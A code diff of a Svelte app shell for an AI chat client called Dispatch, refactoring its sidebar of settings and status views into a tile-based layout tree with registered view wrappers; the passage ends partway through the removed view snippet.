- import { createLocalStore } from "../adapters/local-storage";
- import { untrack } from "svelte";
-
- let { store, onNavigate }: { store: AppStore; onNavigate: (path: string) => void } = $props();
-
- // The backend's conversation-scoped cache-warming surface. Referenced by id at
- // the composition root (sanctioned discovery-by-id) to give it a dedicated view
- // and keep it out of the generic Extensions surface list — SurfaceView itself
- // stays fully generic (it never switches on a surface id).
- const CACHE_WARMING_ID = "cache-warming";
- // The message-queue extension's per-conversation surface (steering). Pulled
- // out of the generic Extensions list and rendered as a compact panel above the
- // composer — pending steering messages are tied to the chat, not the sidebar.
- const MESSAGE_QUEUE_ID = "message-queue";
- // The `todo` extension's per-conversation task list surface (model-maintained).
- const TODO_ID = "todo";
-
- // The view kinds offered in the sidebar's dropdown. Generic data — the
- // `viewContent` snippet below maps each kind id to its renderer.
- const viewKinds = [
- { id: "tabs", label: "Tabs" },
- { id: "model", label: "Model" },
- { id: "lsp", label: "Language Servers" },
- { id: "mcp", label: "MCP Servers" },
- { id: "extensions", label: "Extensions" },
- { id: "cache-warming", label: "Cache Warming" },
- { id: "tasks", label: "Tasks" },
- { id: "compaction", label: "Compaction" },
- { id: "heartbeat", label: "Heartbeat" },
- { id: "concurrency", label: "Concurrency" },
- { id: "system-prompt", label: "System Prompt" },
- { id: "settings", label: "Settings" },
- ] as const;
-
- // Default sidebar layout: the Tabs list (the moved-from-top tab bar) plus the
- // Model view, so a fresh user sees their conversations + model controls.
- const DEFAULT_VIEWS: readonly string[] = ["tabs", "model"];
- const sidebarStore = createLocalStore<readonly string[]>("dispatch.sidebar.views", {
- storage: untrack(() => store.storage),
- });
- const sidebarPanels = sidebarStore.load() ?? DEFAULT_VIEWS;
-
- function handleSidebarChange(kinds: readonly (string | null)[]): void {
- sidebarStore.save(kinds.filter((k): k is string => k !== null));
- }
-
- // Frontend module list for the "Loaded Modules" view, AGGREGATED from each
- // feature's public `manifest` export so it can't drift from what's actually
- // composed. (The backend's "Loaded Extensions" surface is a SEPARATE,
- // backend-owned list.) FE features are internal units of this single repo, so
- // there is no per-module version — they all share dispatch-web's version.
- const MODULE_COLUMNS = ["Module", "Description"] as const;
- const loadedModules: readonly (readonly [string, string])[] = [
- chatManifest,
- tabsManifest,
- surfaceHostManifest,
- viewsManifest,
- conversationCacheManifest,
- markdownManifest,
- cacheWarmingManifest,
- cwdLspManifest,
- mcpManifest,
- computerManifest,
- smartScrollManifest,
- settingsManifest,
- systemPromptManifest,
- heartbeatManifest,
- concurrencyManifest,
- visionManifest,
- ].map((m) => [m.name, m.description] as const);
-
- // Smart-scroll: keep the transcript pinned to the bottom while it streams,
- // unless the reader has scrolled up (then show a "scroll to bottom" button).
- // One controller owns the chat scroll region; effects below feed it the edges.
- const smartScroll = createSmartScrollController();
- let transcriptEl = $state<HTMLElement | undefined>();
- let transcriptContentEl = $state<HTMLElement | undefined>();
-
- // Chat-limit unload gate: old chunks may be unloaded only while the reader is
- // stuck to the bottom. While stuck, a trim removes content far ABOVE the
- // viewport and the controller re-pins to the bottom — no visible jump; while
- // reading history, trimming is deferred instead of yanking the page (the old
- // Dispatch bug). In an $effect so a swapped store prop would be re-wired.
- $effect(() => {
- store.attachUnloadGate(() => smartScroll.isAtBottom());
- });
-
- // "Show earlier messages": page older history back in, preserving the reader's
- // viewport position — prepended content grows scrollHeight, so shift scrollTop
- // by the growth (the manual analogue of CSS scroll anchoring, which not every
- // engine applies here).
- async function handleShowEarlier(): Promise<void> {
- const el = transcriptEl;
- const prevHeight = el?.scrollHeight ?? 0;
- const prevTop = el?.scrollTop ?? 0;
- await store.activeChat.showEarlier();
- await tick();
- if (el) {
- const delta = el.scrollHeight - prevHeight;
- if (delta > 0) el.scrollTop = prevTop + delta;
- }
- }
-
- // Attach/detach the controller to the live scroll element + content (disposed on
- // unmount). The content element is observed (ResizeObserver) so the view follows
- // height changes that aren't a transcript append.
- $effect(() => {
- if (!transcriptEl) return;
- return smartScroll.attach(transcriptEl, transcriptContentEl);
- });
-
- // New transcript content streamed in (or messages loaded) → follow the bottom
- // while stuck. Reads `chunks.length` so the effect re-runs on every append.
- $effect(() => {
- void store.activeChat.chunks.length;
- smartScroll.contentChanged();
- });
-
- // The message-queue surface spec + whether it currently has pending messages
- // (steering). Rendered as a compact panel above the composer only when non-empty.
- const messageQueueSpec = $derived(store.surface(MESSAGE_QUEUE_ID));
- const hasQueuedMessages = $derived.by(() => {
- const spec = messageQueueSpec;
- if (spec === null) return false;
- const field = spec.fields.find((f) => f.kind === "custom" && f.rendererId === MESSAGE_QUEUE_ID);
- if (field === undefined || field.kind !== "custom") return false;
- const data = parseMessageQueuePayload(field.payload);
- return data !== null && data.messages.length > 0;
- });
-
- // The todo surface spec + its parsed task list (model-maintained, read-only).
- const todoSpec = $derived(store.surface(TODO_ID));
- const todoData = $derived.by(() => {
- const spec = todoSpec;
- if (spec === null) return null;
- const field = spec.fields.find((f) => f.kind === "custom" && f.rendererId === TODO_ID);
- if (field === undefined || field.kind !== "custom") return null;
- return parseTodoPayload(field.payload);
- });
-
- // Top-bar title: the active tab's title, or "New Tab" when no tab is active
- // (a fresh, unstarted draft — the conversation hasn't been sent yet, so no
- // tab exists). Pure-derived from the (workspace-filtered) tab set + the
- // active id; reflects whichever tab is selected in the sidebar's Tabs view.
- const NEW_TAB_TITLE = "New Tab";
- const topBarTitle = $derived.by(() => {
- const id = store.activeConversationId;
- if (id === null) return NEW_TAB_TITLE;
- const tab = store.tabs.find((t) => t.conversationId === id);
- return tab?.title ?? NEW_TAB_TITLE;
- });
-
- // The composer status-bar status. Priority: error > queued > running > idle.
- // `queued` (the turn is in flight but waiting for a concurrency slot — CR-13)
- // wins over `running` so the corner shows a ring, not dots, during the wait.
- // `turn-start` fires before the slot is granted, so `generating` is already
- // true while `conversationStatus === "queued"`; the explicit queued check is
- // what distinguishes the two.
- const composerStatus = $derived.by<ComposerStatus>(() => {
- if (store.activeChat.error) return "error";
- const id = store.activeConversationId;
- if (id !== null && store.conversationStatus(id) === "queued") return "queued";
- return store.activeChat.generating ? "running" : "idle";
- });
-
- // Conversation/tab switch → snap to the bottom of the new transcript.
- $effect(() => {
- void store.activeConversationId;
- smartScroll.reset();
- });
-
- // Right sidebar: persisted open/closed state. Defaults to open on wide
- // screens (first visit), then remembers the user's toggle thereafter.
- const WIDE_BREAKPOINT = 1024; // Tailwind `lg`
- const sidebarOpenStore = createLocalStore<boolean>("dispatch.sidebar.open", {
- storage: untrack(() => store.storage),
- });
- const storedSidebarOpen = sidebarOpenStore.load();
- let sidebarOpen = $state(storedSidebarOpen ?? (typeof window !== "undefined" ? window.innerWidth >= WIDE_BREAKPOINT : true));
- let systemPromptModalOpen = $state(false);
- // The heartbeat run currently open in the fullscreen run-chat modal (null =
- // closed). Holds a snapshot run view; the modal re-mounts per run (keyed).
- let heartbeatRun = $state<HeartbeatRunView | null>(null);
-
- $effect(() => {
- sidebarOpenStore.save(sidebarOpen);
- });
-
- function handleInvoke(msg: InvokeMessage) {
- store.invoke(msg.surfaceId, msg.actionId, msg.payload);
- }
-
- function handleSend(text: string, images?: readonly ImageInput[]): void {
- store.send(text, images);
- }
-
- function handleQueue(text: string) {
- store.queueMessage(text);
- }
-
- function handleStop() {
- store.stopGeneration();
- }
-
- function handleSelectModel(model: string) {
- store.selectModel(model);
- }
-
- // Adapt the store's WarmResult to the cache-warming feature's WarmNow port.
- async function warmNow(): Promise<WarmFeedback | null> {
- const result = await store.warmNow();
- if (result === null) return null;
- return result.ok
- ? {
- ok: true,
- cachePct: result.response.cachePct,
- expectedCacheRate: result.response.expectedCacheRate,
- }
- : { ok: false, error: result.error };
- }
-
- // Adapt the store's reasoning-effort result to the chat feature's port.
- async function saveReasoningEffort(
- level: ReasoningEffort,
- ): Promise<ReasoningEffortSaveResult | null> {
- const result = await store.setReasoningEffort(level);
- if (result === null) return null;
- return result.ok
- ? { ok: true, reasoningEffort: result.reasoningEffort }
- : { ok: false, error: result.error };
- }
-
- // Adapt the store's compact result to the compaction view's port.
- async function compactNow(): Promise<CompactNowResult | null> {
- const result = await store.compactNow();
- if (result === null) return null;
- return result.ok
- ? {
- ok: true,
- messagesSummarized: result.response.messagesSummarized,
- messagesKept: result.response.messagesKept,
- }
- : { ok: false, error: result.error };
- }
-
- async function saveCompactPercent(
- percent: number,
- ): Promise<SaveCompactPercentResult | null> {
- const result = await store.setCompactPercent(percent);
- if (result === null) return null;
- return result.ok
- ? { ok: true, percent: result.percent }
- : { ok: false, error: result.error };
- }
+<script module lang="ts">
+ import { registerBuiltinViews } from "./register-views";
- // Adapt the store's global vision-settings API to the vision feature's ports.
- async function loadVisionSettings(): Promise<LoadVisionSettingsResult> {
- // The store seeds `visionSettings` on boot; a refresh keeps it current.
- await store.refreshVisionSettings();
- const settings = store.visionSettings;
- if (settings === null) {
- return { ok: false, error: "Vision settings not available." };
- }
- return { ok: true, settings };
- }
-
- async function saveVisionSettings(
- patch: VisionSettingsPatch,
- ): Promise<SaveVisionSettingsResult> {
- const result = await store.setVisionSettings(patch);
- if (result === null) return { ok: false, error: "Vision settings not available." };
- return result.ok
- ? { ok: true, settings: result.settings }
- : { ok: false, error: result.error };
- }
-
- // Adapt the store's chat-limit result to the settings feature's port. On a
- // raise the active chat refills (prepends older history); preserve the
- // reader's viewport over the prepend (the manual analogue of CSS scroll
- // anchoring), exactly like `handleShowEarlier`.
- async function saveChatLimit(value: number): Promise<ChatLimitSaveResult> {
- const el = transcriptEl;
- const prevHeight = el?.scrollHeight ?? 0;
- const prevTop = el?.scrollTop ?? 0;
- const result = await store.setChatLimit(value);
- await tick();
- if (el) {
- const delta = el.scrollHeight - prevHeight;
- if (delta > 0) el.scrollTop = prevTop + delta;
- }
- return result.ok
- ? { ok: true, chatLimit: result.chatLimit }
- : { ok: false, error: result.error };
- }
-
- // Adapt the store's cwd/LSP results to the cwd-lsp feature's ports.
- async function saveCwd(cwd: string): Promise<CwdSaveResult | null> {
- const result = await store.setCwd(cwd);
- if (result === null) return null;
- return result.ok ? { ok: true, cwd: result.cwd } : { ok: false, error: result.error };
- }
-
- async function loadLspStatus(): Promise<LspStatusResult | null> {
- const result = await store.lspStatus();
- if (result === null) return null;
- return result.ok
- ? { ok: true, cwd: result.response.cwd, servers: result.response.servers }
- : { ok: false, error: result.error };
- }
-
- // Adapt the store's computer results to the computer feature's ports.
- async function saveComputer(computerId: string | null): Promise<ComputerSaveResult | null> {
- const result = await store.setComputer(computerId);
- if (result === null) return null;
- return result.ok ? { ok: true, computerId: result.computerId } : { ok: false, error: result.error };
- }
-
- const loadComputerStatus: LoadComputerStatus = async (
- alias: string,
- ): Promise<ComputerStatusResult | null> => {
- const result = await store.computerStatus(alias);
- if (result === null) return null;
- return result.ok ? { ok: true, status: result.response } : { ok: false, error: result.error };
- };
-
- const testComputer: TestComputer = async (
- alias: string,
- ): Promise<TestComputerResult | null> => {
- const result = await store.testComputer(alias);
- if (result === null) return null;
- return result.ok ? { ok: true, response: result.response } : { ok: false, error: result.error };
- };
-
- async function loadMcpStatus(): Promise<McpStatusResult | null> {
- const result = await store.mcpStatus();
- if (result === null) return null;
- return result.ok
- ? { ok: true, cwd: result.response.cwd, servers: result.response.servers }
- : { ok: false, error: result.error };
- }
-
- // Adapt the store's system prompt results to the system-prompt feature's ports.
- const loadSystemPromptPrompt: LoadSystemPromptAlias = () => store.loadSystemPrompt();
-
- const loadSystemPromptVariablesPrompt: LoadSystemPromptVariablesAlias = () =>
- store.loadSystemPromptVariables();
-
- const saveSystemPromptPrompt: SaveSystemPromptAlias = (template) => store.setSystemPrompt(template);
-
- // Adapt the store's heartbeat results to the heartbeat feature's ports. The
- // store returns the feature's result types directly (the API is a plain REST
- // surface, not a transport-contract type), so the adapter is a thin passthrough
- // (kept for structural consistency with cwd-lsp/mcp/computer — see AGENTS.md
- // "contracts are the cross-unit surface").
- async function loadHeartbeatConfig(): Promise<HeartbeatConfigResult> {
- return store.heartbeatConfig();
- }
-
- async function saveHeartbeatConfig(
- patch: Parameters<typeof store.setHeartbeatConfig>[0],
- ): Promise<HeartbeatConfigResult> {
- return store.setHeartbeatConfig(patch);
- }
-
- async function loadHeartbeatRuns(): Promise<HeartbeatRunsResult> {
- return store.heartbeatRuns();
- }
-
- async function stopHeartbeatRun(runId: string): Promise<HeartbeatStopResult> {
- return store.stopHeartbeatRun(runId);
- }
-
- async function loadHeartbeatNextRun(): Promise<HeartbeatNextRunResult> {
- return store.heartbeatNextRun();
- }
-
- // Run-chat modal: open a live watch on the run's conversation (the store owns
- // the ChatStore + the `chat.subscribe` stream), and tear it down on close.
- function openRunChat(conversationId: string): ChatStore {
- return store.watchConversation(conversationId);
- }
- function closeRunChat(conversationId: string): void {
- store.unwatchConversation(conversationId);
- }
-
- // Adapt the store's concurrency results to the feature's ports. The store
- // returns the feature's result types directly (the API is a plain REST surface
- // under /concurrency, not a workspace/conversation-scoped one), so the adapter
- // is a thin passthrough (kept for structural consistency — AGENTS.md "contracts
- // are the cross-unit surface").
- const loadConcurrencyLimits: LoadConcurrencyLimits = () => store.concurrencyLimits();
- const saveConcurrencyLimit: SaveConcurrencyLimit = (providerId, limit) =>
- store.setConcurrencyLimit(providerId, limit);
- const deleteConcurrencyLimit: DeleteConcurrencyLimit = (providerId) =>
- store.deleteConcurrencyLimit(providerId);
- const loadConcurrencyStatus: LoadConcurrencyStatus = () => store.concurrencyStatus();
- const saveConcurrencyCooldown: SaveConcurrencyCooldown = (providerId, cooldownMs) =>
- store.setConcurrencyCooldown(providerId, cooldownMs);
+ // Register every built-in view ONCE per app load, BEFORE any tile renders.
+ // The composition root stays the only place store ports are wired: the
+ // wrappers receive them through `ports` (see `view-ports.ts`).
+ registerBuiltinViews();
</script>
-<main class="relative flex h-screen overflow-hidden">
- <!-- LEFT: everything except the sidebar. The full-height sidebar is a sibling
- (below), so opening it shrinks this ENTIRE column. -->
- <div class="flex min-w-0 flex-1 flex-col overflow-hidden pt-[5px]">
- <!-- Slim header: the tab bar moved into the sidebar (the "Tabs" view), so
- the top row now shows the active tab's title on the left (or "New Tab"
- for an unstarted draft), with the build version + sidebar toggle on
- the right. -->
- <div class="flex items-center justify-between gap-2 px-2 py-2">
- <span
- class="min-w-0 flex-1 shrink truncate pl-2 text-sm font-medium opacity-70"
- data-testid="top-bar-title"
- title={topBarTitle}
- aria-label="Active conversation title"
- >
- {topBarTitle}
- </span>
- <a
- href="/"
- class="btn btn-ghost btn-sm shrink-0 px-2"
- aria-label="Back to dashboard"
- title="Back to dashboard"
- onclick={(e) => {
- e.preventDefault();
- onNavigate("/");
- }}
- >
- <svg
- xmlns="http://www.w3.org/2000/svg"
- fill="none"
- viewBox="0 0 24 24"
- stroke-width="2"
- stroke="currentColor"
- class="size-4"
- aria-hidden="true"
- >
- <path
- stroke-linecap="round"
- stroke-linejoin="round"
- d="m2.25 12 8.954-8.955c.44-.439 1.152-.439 1.591 0L21.75 12M4.5 9.75v10.5a.75.75 0 0 0 .75.75h4.5a.75.75 0 0 0 .75-.75V15a.75.75 0 0 1 .75-.75h3a.75.75 0 0 1 .75.75v5.25a.75.75 0 0 0 .75.75h4.5a.75.75 0 0 0 .75-.75V9.75M8.25 21h8.25"
- />
- </svg>
- </a>
- <span
- class="shrink-0 select-none px-1 font-mono text-[10px] leading-none text-base-content/30"
- title="Build version (git short hash)"
- >
- build: {__APP_VERSION__}
- </span>
- <button
- class="btn btn-square btn-ghost btn-sm mx-1 shrink-0"
- aria-label={sidebarOpen ? "Close sidebar" : "Open sidebar"}
- aria-expanded={sidebarOpen}
- onclick={() => (sidebarOpen = !sidebarOpen)}
- >
- <svg
- xmlns="http://www.w3.org/2000/svg"
- fill="none"
- viewBox="0 0 24 24"
- stroke-width="2"
- stroke="currentColor"
- class="size-5"
- aria-hidden="true"
- >
- {#if sidebarOpen}
- <!-- Sidebar open → chevrons point right -->
- <path
- stroke-linecap="round"
- stroke-linejoin="round"
- d="m11.25 4.5 7.5 7.5-7.5 7.5m-7.5-15 7.5 7.5-7.5 7.5"
- />
- {:else}
- <!-- Sidebar closed → chevrons point left -->
- <path
- stroke-linecap="round"
- stroke-linejoin="round"
- d="M18.75 19.5l-7.5-7.5 7.5-7.5m-6 15L5.25 12l7.5-7.5"
- />
- {/if}
- </svg>
- </button>
- </div>
-
- {#if store.lastError}
- <div role="alert" class="alert alert-error mx-4 mt-2">
- <strong>Error:</strong>
- {store.lastError.message}
- </div>
- {/if}
-
- {#if store.activeChat.error}
- <div role="alert" class="alert alert-warning mx-4 mt-2">
- <strong>Chat error:</strong>
- {store.activeChat.error}
- </div>
- {/if}
-
- <div class="relative min-h-0 min-w-0 flex-1 pr-4">
- <div bind:this={transcriptEl} class="h-full overflow-y-auto">
- <div bind:this={transcriptContentEl}>
- {#key store.activeConversationId}
- <ChatView
- chunks={store.activeChat.chunks}
- turnMetrics={store.activeChat.turnMetrics}
- hasEarlier={store.activeChat.hasEarlier}
- onShowEarlier={handleShowEarlier}
- thinkingKeyBase={store.activeChat.thinkingKeyBase}
- providerRetry={store.activeChat.providerRetry}
- apiBaseUrl={store.httpBase}
- />
- {/key}
- </div>
- </div>
- {#if store.activeChat.chunks.length === 0}
- <div
- class="pointer-events-none absolute inset-0 flex items-center justify-center"
- aria-hidden="true"
- >
- <span class="select-none text-4xl font-bold opacity-10">Dispatch</span>
- </div>
- {/if}
- <ScrollToBottom show={smartScroll.showButton} onResume={() => smartScroll.resume()} />
- </div>
-
- {#if hasQueuedMessages && messageQueueSpec !== null}
- <!-- Pending steering messages (the message-queue surface). Rendered via
- the generic SurfaceView (dispatches on rendererId, never surface id);
- only shown when the queue is non-empty — an idle queue is hidden. -->
- <div class="px-4 pt-2">
- <SurfaceView spec={messageQueueSpec} onInvoke={handleInvoke} />
- </div>
- {/if}
-
- <Composer
- onSend={handleSend}
- onQueue={handleQueue}
- onStop={handleStop}
- contextSize={store.activeChat.currentContextSize}
- contextWindow={store.modelInfo[store.activeModel]?.contextWindow}
- status={composerStatus}
- />
- </div>
-
- <!-- Full-height right sidebar. On wide screens (`lg:relative`) it is in-flow, so
- opening it shrinks the whole left column (push). Below `lg` it overlays
- (`max-lg:absolute`, full height) with a backdrop. -->
- <aside
- class="flex shrink-0 flex-col overflow-x-hidden transition-[width] duration-300 ease-out max-lg:absolute max-lg:inset-y-0 max-lg:right-0 max-lg:z-30 lg:relative"
- class:w-80={sidebarOpen}
- class:w-0={!sidebarOpen}
- >
- <div
- class="flex h-full w-80 flex-col gap-2 overflow-y-auto bg-base-100 pt-3 pr-3 pb-3 transition-transform duration-300 ease-out"
- style="transform: translateX({sidebarOpen ? '0' : '100%'})"
- >
- <ViewSidebar kinds={viewKinds} initial={sidebarPanels} onChange={handleSidebarChange} content={viewContent} />
- </div>
- </aside>
+<script lang="ts">
+ import type { LayoutTree } from "@dispatch/layout-contract";
+ import { untrack } from "svelte";
+ import { createCollapseStore, firstCollapsibleNodeId, TileRoot } from "../features/layout";
+ import { RunModal, type HeartbeatRunView } from "../features/heartbeat";
+ import { SystemPromptBuilder } from "../features/system-prompt";
+ import type { AppStore } from "./store.svelte";
+ import type { AppViewPorts, ChatViewportBridge } from "./view-ports";
+ import ErrorModal from "./ErrorModal.svelte";
+
+ let { store, onNavigate }: { store: AppStore; onNavigate: (path: string) => void } = $props();
+
+ // Modal chrome — app shell state, OUTSIDE the tree (layout-00 decision 2).
+ let systemPromptModalOpen = $state(false);
+ // The heartbeat run currently open in the fullscreen run-chat modal (null =
+ // closed). Holds a snapshot run view; the modal re-mounts per run (keyed).
+ let heartbeatRun = $state<HeartbeatRunView | null>(null);
+
+ // --- The layout tree (plan 02): the ACTIVE workspace's tile tree, served
+ // by the backend's layout provider plugin when one is active (probed on
+ // boot, on workspace switch, and on extensions-changed; `layout` WS pushes
+ // re-render live) and the built-in DEFAULT_LAYOUT otherwise (no-provider
+ // mode: edits are ephemeral, logged once, no error UI). The store owns the
+ // whole lifecycle; the shell just renders `tree` and forwards edits.
+ // `dispatch.sidebar.views` is RETIRED (D-L4): its only reader is the store's
+ // one-way §2.7 migration.
+ const tree = $derived(store.layout.tree);
+
+ function handleTreeChange(next: LayoutTree): void {
+ store.layout.onTreeChange(next);
+ }
+
+ // --- Sidebar collapse: renderer chrome state (per-node-id open/closed),
+ // persisted with the SAME key/semantics as today (`dispatch.sidebar.open`, a
+ // bare boolean, default open on wide screens). The toggle drives the tree's
+ // single collapsible node ("side" on the default tree; generically the first
+ // collapsible split child).
+ const collapse = createCollapseStore({
+ storage: untrack(() => store.storage),
+ viewportWidth: typeof window !== "undefined" ? window.innerWidth : undefined,
+ });
+ const collapseState = $derived($collapse);
+ const collapseKey = $derived(firstCollapsibleNodeId(tree));
+ const sidebarOpen = $derived(
+ collapseKey !== null ? (collapseState.openByNode[collapseKey] ?? collapseState.defaultOpen) : false,
+ );
+
+ function toggleSidebar(): void {
+ if (collapseKey !== null) collapse.toggle(collapseKey);
+ }
+
+ // --- The port bag every view wrapper receives. This is the ONE place the
+ // store's ports are wired (AGENTS.md: composition root). `store` is read
+ // through a getter so a swapped store prop stays reactive through it.
+ const chatViewport: ChatViewportBridge = { el: null };
+ const viewPorts: AppViewPorts = {
+ get store() {
+ return store;
+ },
+ chatViewport,
+ openSystemPromptBuilder: () => (systemPromptModalOpen = true),
+ openHeartbeatRun: (run) => (heartbeatRun = run),
+ };
+
+ // Top-bar title: the active tab's title, or "New Tab" when no tab is active
+ // (a fresh, unstarted draft — the conversation hasn't been sent yet, so no
+ // tab exists). Pure-derived from the (workspace-filtered) tab set + the
+ // active id; reflects whichever tab is selected in the sidebar's Tabs view.
+ const NEW_TAB_TITLE = "New Tab";
+ const topBarTitle = $derived.by(() => {
+ const id = store.activeConversationId;
+ if (id === null) return NEW_TAB_TITLE;
+ const tab = store.tabs.find((t) => t.conversationId === id);
+ return tab?.title ?? NEW_TAB_TITLE;
+ });
+
+ function handleInvokeHome(): void {
+ onNavigate("/");
+ }
+</script>
- <!-- Backdrop: only on narrow screens (overlay mode), click to close. -->
- {#if sidebarOpen}
- <!-- svelte-ignore a11y_no_static_element_interactions -->
- <div
- class="fixed inset-0 z-20 bg-black/30 lg:hidden"
- role="button"
- tabindex="0"
- aria-label="Close sidebar"
- onclick={() => (sidebarOpen = false)}
- onkeydown={(e) => {
- if (e.key === "Escape" || e.key === "Enter") sidebarOpen = false;
- }}
- ></div>
- {/if}
+<main class="h-app relative flex flex-col overflow-hidden">
+ <!-- Slim header: the tab bar moved into the sidebar (the "Tabs" view), so
+ the top row now shows the active tab's title on the left (or "New Tab"
+ for an unstarted draft), with the build version + sidebar toggle on
+ the right. CHROME — stays outside the tree (layout-00 decision 2).
+ `.app-navbar` (app.css): the Artix wiki's darkstrap navbar look. -->
+ <div class="app-navbar flex items-center justify-between gap-2 px-2 pt-[calc(0.5rem+5px)] pb-2">
+ <span
+ class="app-navbar-engraved min-w-0 flex-1 shrink truncate pl-2 text-sm font-semibold text-primary"
+ data-testid="top-bar-title"
+ title={topBarTitle}
+ aria-label="Active conversation title"
+ >
+ {topBarTitle}
+ </span>
+ <span
+ class="shrink-0 select-none px-1 font-mono text-[10px] leading-none text-primary/70"
+ title="Build version (git short hash)"
+ >
+ build: {__APP_VERSION__}
+ </span>
+ <a
+ href="/"
+ class="btn btn-ghost btn-sm shrink-0 px-2 text-primary"
+ aria-label="Back to dashboard"
+ title="Back to dashboard"
+ onclick={(e) => {
+ e.preventDefault();
+ handleInvokeHome();
+ }}
+ >
+ <svg
+ xmlns="http://www.w3.org/2000/svg"
+ fill="none"
+ viewBox="0 0 24 24"
+ stroke-width="2"
+ stroke="currentColor"
+ class="size-4"
+ aria-hidden="true"
+ >
+ <path
+ stroke-linecap="round"
+ stroke-linejoin="round"
+ d="m2.25 12 8.954-8.955c.44-.439 1.152-.439 1.591 0L21.75 12M4.5 9.75v10.5a.75.75 0 0 0 .75.75h4.5a.75.75 0 0 0 .75-.75V15a.75.75 0 0 1 .75-.75h3a.75.75 0 0 1 .75.75v5.25a.75.75 0 0 0 .75.75h4.5a.75.75 0 0 0 .75-.75V9.75M8.25 21h8.25"
+ />
+ </svg>
+ </a>
+ {#if collapseKey !== null}
+ <button
+ class="btn btn-square btn-ghost btn-sm mx-1 shrink-0 text-primary"
+ aria-label={sidebarOpen ? "Close sidebar" : "Open sidebar"}
+ aria-expanded={sidebarOpen}
+ onclick={toggleSidebar}
+ >
+ <svg
+ xmlns="http://www.w3.org/2000/svg"
+ fill="none"
+ viewBox="0 0 24 24"
+ stroke-width="2"
+ stroke="currentColor"
+ class="size-5"
+ aria-hidden="true"
+ >
+ {#if sidebarOpen}
+ <!-- Sidebar open → chevrons point right -->
+ <path
+ stroke-linecap="round"
+ stroke-linejoin="round"
+ d="m11.25 4.5 7.5 7.5-7.5 7.5m-7.5-15 7.5 7.5-7.5 7.5"
+ />
+ {:else}
+ <!-- Sidebar closed → chevrons point left -->
+ <path
+ stroke-linecap="round"
+ stroke-linejoin="round"
+ d="M18.75 19.5l-7.5-7.5 7.5-7.5m-6 15L5.25 12l7.5-7.5"
+ />
+ {/if}
+ </svg>
+ </button>
+ {/if}
+ </div>
+
+ {#if store.lastError}
+ <div role="alert" class="alert alert-error mx-4 mt-2">
+ <strong>Error:</strong>
+ {store.lastError.message}
+ </div>
+ {/if}
+
+ {#if store.activeChat.error}
+ <div role="alert" class="alert alert-warning mx-4 mt-2">
+ <strong>Chat error:</strong>
+ {store.activeChat.error}
+ </div>
+ {/if}
+
+ <!-- THE TREE: the tile renderer owns the content region. Tile edits are
+ applied here and persisted to dispatch.sidebar.views (above). -->
+ <div class="min-h-0 min-w-0 flex-1">
+ <TileRoot {tree} {collapse} ports={viewPorts} onTreeChange={handleTreeChange} />
+ </div>
</main>
{#if store.fatalError}
- <ErrorModal error={store.fatalError} onDismiss={() => store.clearFatalError()} />
+ <ErrorModal error={store.fatalError} onDismiss={() => store.clearFatalError()} />
{/if}
{#if systemPromptModalOpen}
- <SystemPromptBuilder
- loadPrompt={loadSystemPromptPrompt}
- savePrompt={saveSystemPromptPrompt}
- loadVariables={loadSystemPromptVariablesPrompt}
- onClose={() => (systemPromptModalOpen = false)}
- />
+ <SystemPromptBuilder
+ loadPrompt={() => store.loadSystemPrompt()}
+ savePrompt={(template) => store.setSystemPrompt(template)}
+ loadVariables={() => store.loadSystemPromptVariables()}
+ onClose={() => (systemPromptModalOpen = false)}
+ />
{/if}
{#if heartbeatRun !== null}
- <!-- Keyed per run so switching runs (or re-opening) re-mounts the modal — a
- fresh watch store lifecycle per run. The modal owns the live watch
- (openChat/closeChat) and the Stop button. -->
- {#key heartbeatRun.id}
- <RunModal
- run={heartbeatRun}
- openChat={openRunChat}
- closeChat={closeRunChat}
- stopRun={stopHeartbeatRun}
- onClose={() => (heartbeatRun = null)}
- apiBaseUrl={store.httpBase}
- />
- {/key}
+ <!-- Keyed per run so switching runs (or re-opening) re-mounts the modal — a
+ fresh watch store lifecycle per run. The modal owns the live watch
+ (openChat/closeChat) and the Stop button. -->
+ {#key heartbeatRun.id}
+ <RunModal
+ run={heartbeatRun}
+ openChat={(conversationId) => store.watchConversation(conversationId)}
+ closeChat={(conversationId) => store.unwatchConversation(conversationId)}
+ stopRun={(runId) => store.stopHeartbeatRun(runId)}
+ onClose={() => (heartbeatRun = null)}
+ apiBaseUrl={store.httpBase}
+ />
+ {/key}
{/if}
-
-{#snippet viewContent(kind: string)}
- {#if kind === "tabs"}
- <!-- The conversation tab list (moved out of the top bar into the sidebar).
- Re-mount per workspace so the filtered tab set + scroll reset cleanly
- on a workspace switch. -->
- {#key store.activeWorkspaceId}
- <TabList
- tabs={store.tabs}
- activeConversationId={store.activeConversationId}
- statusFor={(id) => store.conversationStatus(id)}
- onSelect={(id) => store.selectTab(id)}
- onClose={(id) => store.closeTab(id)}
- onNewDraft={() => store.newDraft()}
- onRename={(id, title) => store.renameTab(id, title)}
- />
- {/key}
- {:else if kind === "model"}
- <div class="flex flex-col gap-3">
- <ModelSelector
- models={store.models}
- selected={store.activeModel}
- onSelect={handleSelectModel}
- modelInfo={store.modelInfo}
- />
- <!-- Keyed on the workspace conversation (active tab OR draft) so the inputs
- re-mount per conversation — incl. switching between drafts — and can't
- bleed across tabs. Editable for a draft too (cwd + effort apply from turn 1). -->
- {#key store.currentConversationId}
- <ReasoningEffortSelector persisted={store.reasoningEffort} save={saveReasoningEffort} />
- <CwdField cwd={store.cwd} canEdit={true} save={saveCwd} />
- <ComputerField
- computerId={store.computerId}
- canEdit={true}
- computers={store.computers}
- save={saveComputer}
- loadStatus={loadComputerStatus}
- test={testComputer}
- />
- {/key}
- </div>
- {:else if kind === "lsp"}
- <!-- Re-mount per conversation (incl. draft) so the loaded server list is isolated. -->
- {#key store.currentConversationId}
- <LspStatusView cwd={store.cwd} canView={true} load={loadLspStatus} />
- {/key}
- {:else if kind === "mcp"}
- <!-- Re-mount per conversation (incl. draft) so the loaded server list is isolated. -->
- {#key store.currentConversationId}
- <McpStatusView cwd={store.cwd} canView={true} load={loadMcpStatus} />
- {/key}
- {:else if kind === "extensions"}
- <section>
- <h3 class="mb-1 text-xs font-semibold uppercase opacity-60">Frontend modules</h3>
- <Table columns={MODULE_COLUMNS} rows={loadedModules} />
- </section>
- <section class="mt-4 flex flex-col gap-3">
- <h3 class="text-xs font-semibold uppercase opacity-60">Surfaces</h3>
- {#each store.surfaces.filter((s) => s.id !== CACHE_WARMING_ID && s.id !== MESSAGE_QUEUE_ID && s.id !== TODO_ID) as spec (spec.id)}
- <SurfaceView {spec} onInvoke={handleInvoke} />
- {/each}
- </section>
- {:else if kind === "cache-warming"}
- <!-- Re-mount per conversation (like ChatView) so the view's local warming
